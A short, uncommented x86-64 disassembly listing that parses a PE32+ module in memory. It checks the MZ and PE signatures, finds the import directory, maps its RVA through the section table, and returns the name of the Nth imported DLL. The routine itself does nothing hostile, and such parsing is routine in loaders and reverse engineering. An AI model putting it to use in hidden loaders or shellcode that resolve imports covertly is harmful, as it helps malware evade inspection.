mov r11, qword [0x24e2b45a0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x24e2b20c2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x24e2b20d0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x24e2b20c2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x24e2b20c2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x24e2b20c2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x24e2b2125
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x24e2b2138
add rdx, 0x28
cmp r10, rdx
jne 0x24e2b2110
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x24e2b2147
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x24e2b2157
mov edx, dword [rax + 0xc]
test edx, edx
je 0x24e2b212e
test ecx, ecx
jg 0x24e2b2140
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret